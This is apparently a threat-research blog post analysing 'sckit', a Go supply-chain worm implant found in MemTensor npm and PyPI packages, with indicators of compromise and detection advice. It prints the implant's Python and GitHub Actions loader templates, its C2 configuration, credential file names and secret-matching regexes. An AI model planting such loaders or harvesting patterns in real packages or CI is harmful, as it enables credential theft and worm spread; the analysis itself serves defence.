---
title: "sckit: A New Go Implant Framework for Supply Chain Worms"
description: "sckit is a Go implant framework that steals developer and CI credentials and carries templates to spread through npm, PyPI, and GitHub Actions. Static analysis and indicators of compromise."
url: "https://safedep.io/blog/sckit-go-implant-framework"
author: "SafeDep Team"
published: "2026-09-23"
---

# sckit: A New Go Implant Framework for Supply Chain Worms

`sckit`, also known as the "supplychain.local worm", is a Go implant framework that we found in [two MemTensor packages](https://safedep.io/blog/memtensor-sckit-worm-npm-pypi) on September 23, 2026. It runs on Linux, macOS, and Windows. It collects credentials from developer machines and from CI jobs. It receives signed tasks from a command and control (C2) server. It also contains templates to install itself in npm packages, Python packages, and GitHub Actions workflows. The code and infrastructure do not match a known malware family. The operator built a separate binary for each target, and registered the C2 domain eight days before the attack. We think that the operator will use this framework again.

We first saw `sckit` in the [MemTensor npm and PyPI compromise](https://safedep.io/blog/memtensor-sckit-worm-npm-pypi). That post explains how the attacker stole the publish tokens and shipped the implant. This post covers the implant: the framework layout, the capabilities we can see, the limits of our analysis, and indicators that you can use to find `sckit` in other places.

## Method

We used these sources:

- The loader code in `@memtensor/memos-cloud-openclaw-plugin@0.1.25` (npm) and `MemoryOS@2.0.34` (PyPI).
- The decoded campaign configuration that each loader gives to the implant.
- The Go build information in the binary (`.go.buildinfo`).
- The Go function table (`.gopclntab`). The binaries have no Executable and Linkable Format (ELF) symbol table, but Go keeps function names in this table for stack traces. We parsed the table with a short Python script. It gave 7,259 functions for the npm build and 7,303 for the PyPI build. Some implant function names have no separate function entry, because the compiler copied their code into the functions that call them. We list those names too, and we checked each name in this post against the binary.
- Strings in the binary.

Function names show intent, and the code can behave differently. So each capability in this post has one of three labels:

- **Confirmed** means that we read the code that does it (loader or CI script).
- **Indicated** means that function names and strings in the implant show it.
- **Unknown** means that we have no evidence.

## Evidence for a new framework

These facts come from the artifacts:

- The Go module path is `supplychain.local/campaign`. It is not a public module, and GitHub code search finds no copy of it. The `.local` suffix identifies local network names and does not resolve through public DNS. So `supplychain.local` is a project name that the author chose, and the operator does not control a domain with this name.
- The implant uses its own schema identifiers, such as `sckit.control.v1` and `sckit.admission.v1`. Search finds these nowhere else.
- We found no code or infrastructure in common with the Shai-Hulud worms or other publicly reported npm worms.
- The registration date for the C2 parent domain `skyleen[.]fr` is September 15, 2026. An unrelated developer used this name in the past. We think that the operator registered the domain again after it expired.

This is our inference. The framework has many parts, a versioned protocol, and a configuration for each campaign. A single-use tool does not need these parts. The researcher who reported the npm compromise suggested that a language model wrote the tooling. The code style agrees with that idea, but we cannot prove it.

## Build information

The build information is the same for all binaries except for the target OS and CPU:

```text
# go.buildinfo, linux-amd64/sckit (npm 0.1.25)
go1.27.1
path	supplychain.local/campaign/cmd/implant
mod	supplychain.local/campaign	(devel)
dep	golang.org/x/crypto	v0.55.0	h1:+KWHjbgOaAQ66dh/YlkZKHlz9ZUlq61AFirAR9ntP8M=
dep	golang.org/x/sys	v0.47.0	h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
build	-buildmode=exe
build	-compiler=gc
build	-trimpath=true
build	CGO_ENABLED=0
build	GOARCH=amd64
build	GOOS=linux
```

The build uses `-trimpath` and no `cgo`. This removes local file paths and gives one static binary with no external library dependencies. Each package has six builds, for `linux`, `darwin`, and `windows` on `amd64` and `arm64`. Each binary is between 6.8 MB and 7.7 MB.

## Framework layout

The `internal/wire` package uses Concise Binary Object Representation (CBOR) for C2 messages. The function table shows five packages under the module:

| Package                 | Purpose (from function names)                                                  |
| ----------------------- | ------------------------------------------------------------------------------ |
| `cmd/implant`           | Entry point and command-line modes                                             |
| `internal/agent`        | Main runtime: credential collection, host profiling, spreading, state, cleanup |
| `internal/wire`         | C2 protocol: CBOR encoding, encryption, signatures, message parsing            |
| `internal/presentation` | One function, `Resolve`. We do not know its purpose                            |
| `internal/ciemit`       | CI token capture. Only in the PyPI build                                       |

The implant has two command-line modes. The usage string names the first one:

```text
# strings, linux-amd64/sckit (npm 0.1.25 and PyPI 2.0.34)
usage: sckit stage0 <-config path|-config64 value>
campaign runtime requires semi-nuclear
```

- `stage0` is the mode that runs on developer machines. Both loaders start this mode.
- `initial-ci-emit` is the mode that runs in CI. Only the PyPI build has this string. The PyPI CI script downloads the implant and starts it in this mode. The MemOS post shows that script.

The second string shows that the runtime refuses to start unless the configuration `profile` is `semi-nuclear`. Both MemTensor configurations use this profile.

### Differences between the two builds

The npm build and the PyPI build have 121 and 143 functions in the `supplychain.local/campaign` module. The PyPI build adds the `internal/ciemit` package:

```go
// Recovered function names, internal/ciemit (PyPI 2.0.34 build only).
// These are names from .gopclntab, not source code.
ciemit.Prepare
ciemit.BestEffortCommand
ciemit.command
ciemit.commandWithAuthority
ciemit.bestEffort
ciemit.readSigned
ciemit.strictJSON
ciemit.checkJSONValue
ciemit.executableDigest
ciemit.boundedRead
ciemit.digest
ciemit.validString
```

The PyPI build also has five schema identifiers and one output marker for this CI mode. The npm build has none of them:

```text
# strings, linux-amd64/sckit (PyPI 2.0.34 only)
sckit.initial-ci.v2
sckit.initial-ci-execution-context.v2
sckit.initial-ci-module-result.v2
sckit.initial-ci-producer-trust.v2
sckit.initial-ci-source-permit.v2
SCKIT_CI_RESULT_V2
```

The npm campaign did not need the CI mode in the implant, because the npm bridge script sent the token through `stage0`. We think that the operator selects the parts of the framework for each target and builds a new binary.

## Campaign configuration

Each loader gives the implant one base64 JSON argument. The configuration uses the schema `sckit.runtime.v1`. This is the decoded configuration from the PyPI package. We removed the empty fields and kept one of the three C2 servers:

```json
{
  "schema": "sckit.runtime.v1",
  "campaign_id": "memos-semi-nuclear",
  "product": "memos",
  "version": "2.0.34",
  "channel": "MemoryOS/v*-release",
  "profile": "semi-nuclear",
  "root_public": "gZIXrn82xCVrNmG1fwKVB53ospCTIIwBiPOrSyG+DvE",
  "stage0_digest": "pmBMOn4CHXalbt5yVGs7FTKmcMonkpAFTJFtefwPNWk",
  "state_dir": "$HOME/.memos/.cache/runtime",
  "inventory_roots": ["$HOME"],
  "fronts": [
    {
      "base_url": "https://c747d139e7e9.skyleen.fr",
      "control_path": "/24ffe6fe9644e7fc6ec8abd3/config",
      "preflight_path": "/24ffe6fe9644e7fc6ec8abd3/status",
      "result_path": "/24ffe6fe9644e7fc6ec8abd3/batch"
    }
  ],
  "not_after": 1792724380
}
```

The fields tell us how the operator uses one binary for many targets:

| Field             | Meaning                                                                                          |
| ----------------- | ------------------------------------------------------------------------------------------------ |
| `campaign_id`     | Name for the target. `memos-semi-nuclear` and `cloud-openclaw-semi-nuclear`                      |
| `channel`         | How the implant arrived. For example, `MemoryOS/v*-release` or `exact-ref-one-use-NPM_TOKEN,...` |
| `root_public`     | A public key. We think that the implant uses it to verify signed server messages                 |
| `stage0_digest`   | A hash. We think that it identifies the approved implant build                                   |
| `state_dir`       | Where the implant keeps its state on disk                                                        |
| `inventory_roots` | Where the implant searches for files. `$HOME` in both campaigns                                  |
| `fronts`          | Three C2 servers, each with a control, status, and result path                                   |
| `not_after`       | A Unix time. October 22 and 23, 2026 for the two campaigns. It looks like an expiry date         |

## Capabilities

![Hand-drawn sckit execution flow from the package and CI entry points through configuration, C2 admission, module execution, encrypted result upload, and cleanup](https://safedep.io/_next/static/immutable/media/sckit-execution-flow-sketch.2yt7el6v5721a.png)

### Execution on the host (confirmed)

The loaders start the implant as a separate process, with no output, and with the full process environment. The Node.js loader does this when the OpenClaw gateway starts and on each memory recall. The Python loader does this the first time that the library configures logging. The OpenClaw loader also gives the user's prompt text to the implant in the environment variable `SCKIT_EVENT_TEXT`. The implant has a matching function, `(*Runtime).eventText`. So the implant can read the text that users send to their AI agent.

### Credential collection (indicated)

The `agent` package has these functions:

```go
// Recovered function names, internal/agent (both builds)
agent.credentials
agent.credentialPaths
agent.credentialFile
agent.readCredentialFile
agent.credentialsFromFile
agent.extractJSONCredentials
agent.environmentNames
agent.hasCredential
agent.artifacts
agent.artifactMatch
agent.supportedArtifactCategory
```

The binary contains the names of common credential files: `.npmrc`, `.pypirc`, `.git-credentials`, `.netrc`, `id_rsa`, `id_ecdsa`, `id_ed25519`, `.vault-token`, `msal_token_cache`, `access_tokens.json`, and `access_tokens.db`. The last three are token caches of the Azure and Google Cloud command-line tools. The binary also contains the strings `credential-collector` and `artifact-collector`, which look like names of collection modules.

The binary has two regular expressions. The first finds names of variables that hold secrets:

```text
# strings, linux-amd64/sckit (npm 0.1.25)
(?i)(token|secret|password|passwd|passphrase|credential|auth|oauth|bearer|cookie|session|jwt|private[_-]?key|access[_-]?key|api[_-]?key|signing[_-]?key|client[_-]?secret|(^|[_-])pat($|[_-])|(^|[_-])key($|[_-])|(^|[_-])(database|db|redis|mongo|mongodb|amqp|rabbitmq|broker)[_-]?(url|uri|dsn)($|[_-]))
```

The second finds known token formats in text. It matches JSON Web Tokens and tokens for AWS, GitHub, GitLab, npm, PyPI, Hugging Face, HashiCorp Vault, Slack, Stripe, and SendGrid:

```text
# strings, linux-amd64/sckit (npm 0.1.25)
(?i)(^|[^[:alnum:]_-])(eyJ[[:alnum:]_-]{8,}\.eyJ[[:alnum:]_-]{8,}\.[[:alnum:]_-]+|(AKIA|ASIA)[A-Z0-9]{16}|github_pat_[[:alnum:]_]+|gh[opusr]_[[:alnum:]]+|glpat-[[:alnum:]_-]+|npm_[[:alnum:]_-]+|pypi-[[:alnum:]_-]+|hf_[[:alnum:]]+|hvs\.[[:alnum:]_-]+|xox[abprs]-[[:alnum:]-]+|sk_live_[[:alnum:]_]+|SG\.[[:alnum:]_-]+\.[[:alnum:]_-]+)($|[^[:alnum:]_-])
```

Publish tokens for npm and PyPI are in the list. These are the credentials that the worm needs to spread.

### CI token capture (confirmed)

In CI, a bridge script runs before the real publish step and gives the publish token to the implant. Then it stops the publish. The PyPI build has the `ciemit` package and the `initial-ci-emit` mode for this work. The [MemOS post](https://safedep.io/blog/memtensor-sckit-worm-npm-pypi) shows both bridge scripts and explains how they use `BASH_ENV`.

### Spreading to other projects (indicated)

The `agent` package has functions to find repositories, prepare them, and publish:

```go
// Recovered function names, internal/agent (both builds)
agent.findRepositories
agent.PrepareRemoteRepository
agent.PrepareRemoteRepositoryTarget
agent.prepareRemoteNode
agent.prepareRemotePython
agent.prepareRemoteWorkflow
agent.pythonImportPackage
agent.remoteSidecars
agent.remoteHashes
agent.copyRemoteFile
agent.writeRemoteFile
agent.runGit
agent.runGitWithIdentity
agent.recursivePublish
```

The binary contains three loader templates. They match these functions. The Python template runs the implant from an imported package:

```python
# template string in linux-amd64/sckit (npm 0.1.25)
try:
    import os as _o, pathlib as _p, platform as _pl, subprocess as _sp
    _a = {"x86_64":"amd64","aarch64":"arm64","AMD64":"amd64","ARM64":"arm64"}.get(_pl.machine(), _pl.machine())
    _b = _p.Path(__file__).resolve().parent / %q / (f"{_pl.system().lower()}-{_a}") / ("sckit.exe" if _o.name == "nt" else "sckit")
    if _b.exists(): _sp.Popen([str(_b),"stage0","--config64",%q], stdin=_sp.DEVNULL,stdout=_sp.DEVNULL,stderr=_sp.DEVNULL,start_new_session=True)
except Exception:
    pass
```

The Node.js template runs the implant from a `bin/` directory:

```text
// template string in linux-amd64/sckit (npm 0.1.25)
const binary = path.join(__dirname, "bin", os + "-" + arch, process.platform === "win32" ? "sckit.exe" : "sckit");
```

The GitHub Actions template runs the implant on each push:

```yaml
# template string in linux-amd64/sckit (npm 0.1.25)
name: %s
on: [push]
jobs:
  update:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - run: ./%s/linux-amd64/sckit stage0 --config64 %q
```

The file name `runtime-update.yml` is also in the binary. We think that it is the name of this workflow file. Other strings agree with the publish functions: `GIT_AUTHOR_NAME=%s`, `--ignore-scripts`, `twine`, `poetry`, and `.sckit-copy-*`.

The implant fills in the `%q` values at run time. So a new victim gets a new configuration, with a new campaign identifier and possibly new C2 servers. We do not know if the implant spreads by itself or only on a command from the operator. The signed leases in the C2 protocol suggest that the operator controls it.

### Host profiling and victim filtering (indicated)

```go
// Recovered function names, internal/agent (both builds)
agent.HostID
agent.hostProfile
agent.hostProfileIP
agent.hostProfileInterfaces
agent.hostProfileLanguages
agent.hostProfileTimezone
agent.hostProfileText
agent.hostPrivilegeHints
(*Runtime).languageTags
(*Runtime).inputMethodTags
```

The implant collects the host name, IP addresses, network interfaces, time zone, languages, and keyboard input methods. It also checks for administrator rights. The strings `root-username`, `administrator-username`, and `windows-system-sid` are in the binary. The environment variable `SCKIT_INPUT_METHODS` is also in the binary.

Three fields are for victim filtering:

```text
# strings, linux-amd64/sckit (both builds)
geo_iso
deny_iso
ja4_deny
```

We think that `geo_iso` and `deny_iso` let the operator allow or block countries. JA4 is a method to identify Transport Layer Security (TLS) clients. `ja4_deny` probably lets the server reject known analysis tools or sandboxes. Language, time zone, and input method data can also help the operator skip some regions.

### C2 protocol (indicated)

The `wire` package has the message types and the encryption:

```go
// Recovered function names, internal/wire (both builds)
wire.Marshal
wire.Unmarshal
wire.GenerateX25519
wire.makeAEAD
wire.SealBound
wire.OpenBound
wire.Signed.Verify
wire.VerifyBinding
wire.VerifyHandshakeBinding
wire.(*Request).Sign
wire.Admission.Bytes
wire.ParseLease
wire.ParseManifest
wire.ParseAck
wire.ParseResponse
wire.ResultBytes
```

Protocol strings from the binary:

```text
# strings, linux-amd64/sckit (both builds)
sckit.control.v1
sckit.admission.v1
sckit.module-result.v1
sckit.tombstone.v1
sckit/xchacha/v1
application/cbor
Idempotency-Key
lease_signing_pub
lease_signature
result_x25519_pub
max_activations
max_offline_until
host_bucket_range
one_shot
controller disposition
non-monotonic manifest
module digest mismatch
```

This is our reading of the protocol. The implant sends an admission request with its host profile. If the server accepts the host, it sends a signed lease. The lease limits how many times and for how long the implant can work (`max_activations`, `max_offline_until`). The server then sends a manifest of modules. The implant checks the digest of each module and rejects old manifests. It sends the results back, encrypted with a key from an X25519 key exchange and XChaCha20-Poly1305.

The implant checks server signatures. A researcher who runs a fake server cannot send it tasks without the operator's signing key.

### Remote modules (unknown)

The functions `ParseModule`, `Execute`, `oneShotModule`, and `pendingModule` show that the server sends modules to the implant. We do not know what these modules do. The C2 subdomains now resolve to `127.0.0.1`, and we have no record of their traffic. So the full capability set of `sckit` is not in the binary, and it can change from one campaign to the next.

### State and cleanup (indicated)

```go
// Recovered function names, internal/agent (both builds)
(*StateStore).LoadOrCreate
(*StateStore).Write
(*StateStore).Cleanup
(*StateStore).Tombstone
agent.scheduleSelfDelete
agent.deleteExecutable
```

The implant keeps state in the `state_dir` from its configuration. It has functions to remove its state and its own binary. The `sckit.tombstone.v1` schema suggests that it writes a marker to tell other copies not to run again on the same host.

## What we do not know

- What the server modules do.
- Whether spreading is automatic or needs approval from the operator.
- Whether there are victims other than MemTensor. GitHub code search finds no other copy of the loaders or templates. But code search only indexes default branches, and this operator used tags and short-lived branches.
- How the implant uses `root_public` and `stage0_digest`. Our explanations in the configuration table are inferences.
- The purpose of `internal/presentation.Resolve`.

## Detection

**On developer machines:**

- A process with the command line `sckit stage0 --config64 <base64>`.
- A process environment that contains `SCKIT_EVENT_TEXT`.
- A `.sckit/` directory with `<os>-<arch>/sckit` binaries inside `node_modules` or `site-packages`.
- The directories `$HOME/.openclaw/.cache/runtime` or `$HOME/.memos/.cache/runtime`. Other campaigns will probably use other directories under `.cache/runtime`.

**In CI:**

- A step that writes `BASH_ENV=` to `$GITHUB_ENV`.
- A build backend loaded from the repository (`backend-path = ["."]`) that you did not add.
- Log lines that contain `SCKit credential receipt`, `SCKIT_CI_RESULT_V2`, or `SCKIT_CI_OBSERVATION_V2`.
- A publish step that fails with no clear cause, followed by a package version that you did not publish.

**In repositories:**

- A workflow file named `runtime-update.yml` that runs `sckit stage0`.
- Files named `lib/sckit.js`, `_stage0.py`, `_pypi_bridge.sh`, `sckit-publish-bridge.sh`, or `sckit_poetry_build.py`.

**In binaries:**

- The Go module path `supplychain.local/campaign` in the build information.
- The schema identifiers in the indicators of compromise table below. They are unique to this framework.



## Indicators of compromise

### Implant binaries

| Build                | npm campaign (`cloud-openclaw-semi-nuclear`)                       | PyPI campaign (`memos-semi-nuclear`)                               |
| -------------------- | ------------------------------------------------------------------ | ------------------------------------------------------------------ |
| linux-amd64          | `381ac6dc1715d9298fe81b2a53a11f7b7d78e361ee3a6619ad54f8c4b062cc18` | `c1b0998347b489582bae7b7f4930f9831d9ef4b6bc150cfd488ee1a43272dd36` |
| linux-arm64          | `e077c387b223811064b7bbc5a55a0182fca9bf50894f949ff284d4be87d44b26` | `8f647f17a1934679c4095e21bee2b9bd83e28476603758bc91408a0c8443e3b4` |
| darwin-amd64         | `65faf8ccbcf5b34eb4f72c71bf82815fa9c1e2f947b9c898491540e866132c31` | `9de0d5b0ca184f71f630be5781d134998883a02d5d7bc65aeb9559d8f9efb364` |
| darwin-arm64         | `f8ccdd1da7dff1aef16377a2842bc7acf7c516e32122dd6e42dc4a4e57653fce` | `5405e330507602e803f7dd6f2a9d4555aec8558ab222b51413594a962da6888a` |
| windows-amd64 (.exe) | `56cd3416d2ec2aa7e7cec2a06010cf0b58eb09c0a5486809df52afeaca8f14be` | `16de381deb978744535b10f68fe15165251374b86eef18ffc2c47f61ea673047` |
| windows-arm64 (.exe) | `d6b3e77c36ee8017c9bf30d1da7218ec0ea843768d313eb8e35845c8a9b38a26` | `f7c4014e284f3d56c452b8b222a287c54f73dc4a40a7e022e765ac8376362947` |

### Framework strings

| Indicator                                                                                                                                                                      | Where                                                                            |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------- |
| `supplychain.local/campaign/cmd/implant`                                                                                                                                       | Go build information and function names. Not a domain. A DNS block has no effect |
| `sckit.runtime.v1`                                                                                                                                                             | Loader configuration                                                             |
| `sckit.control.v1`, `sckit.admission.v1`, `sckit.module-result.v1`, `sckit.tombstone.v1`, `sckit/xchacha/v1`                                                                   | Implant strings                                                                  |
| `sckit.initial-ci.v2`, `sckit.initial-ci-execution-context.v2`, `sckit.initial-ci-module-result.v2`, `sckit.initial-ci-producer-trust.v2`, `sckit.initial-ci-source-permit.v2` | Implant strings (CI build)                                                       |
| `usage: sckit stage0 <-config path\|-config64 value>`                                                                                                                          | Implant strings                                                                  |
| `campaign runtime requires semi-nuclear`                                                                                                                                       | Implant strings                                                                  |
| `SCKIT_EVENT_TEXT`, `SCKIT_INPUT_METHODS`, `SCKIT_INITIAL_CI_CHECKOUT_SHA`                                                                                                     | Environment variables                                                            |
| `SCKIT_CI_RESULT_V2`, `SCKIT_CI_OBSERVATION_V2`, `SCKit credential receipt acknowledged.`                                                                                      | CI log lines                                                                     |
| `runtime-update.yml`                                                                                                                                                           | Spreading workflow name                                                          |

### Infrastructure

| Indicator                                                                   | Notes                                                            |
| --------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| `skyleen[.]fr`                                                              | Registered 2026-09-15. Wildcard DNS to `127.0.0.1` on 2026-09-23 |
| `8a8acaf167b3`, `0b48fafd6fbe`, `266297c6df27` `.skyleen[.]fr`              | C2 for `cloud-openclaw-semi-nuclear`                             |
| `c747d139e7e9`, `73376a079d87`, `d4f77a3a8cb0` `.skyleen[.]fr`              | C2 for `memos-semi-nuclear`                                      |
| `10729e014d0e.skyleen[.]fr/eb57efaa7365698fc1e4decc/initial-ci-v2`          | CI delivery for `memos-semi-nuclear`                             |
| URL paths `/<24 hex>/config`, `/<24 hex>/status`, `/<24 hex>/batch`         | C2 control, status, and results                                  |
| URL paths `/index/<64 hex>`, `/file/<64 hex>/<64 hex>`, `/observe/<64 hex>` | CI delivery                                                      |

## References

- [MemTensor npm and PyPI packages hit by a Go worm](https://safedep.io/blog/memtensor-sckit-worm-npm-pypi), the first report of `sckit`
- [MemOS-Cloud-OpenClaw-Plugin issue #173](https://github.com/MemTensor/MemOS-Cloud-OpenClaw-Plugin/issues/173)
- [MemTensor/MemOS commit `b52958f`](https://github.com/MemTensor/MemOS/commit/b52958fdc9cdb6c81be90123bcf65c42be35b5b5), the PyPI implant and CI capture script
- [MemTensor/MemOS-Cloud-OpenClaw-Plugin commit `9b97ec6`](https://github.com/MemTensor/MemOS-Cloud-OpenClaw-Plugin/commit/9b97ec659d6181e2659742f904c2dc56533d479b), the npm implant and CI bridge script
- [JA4+ network fingerprinting](https://github.com/FoxIO-LLC/ja4)
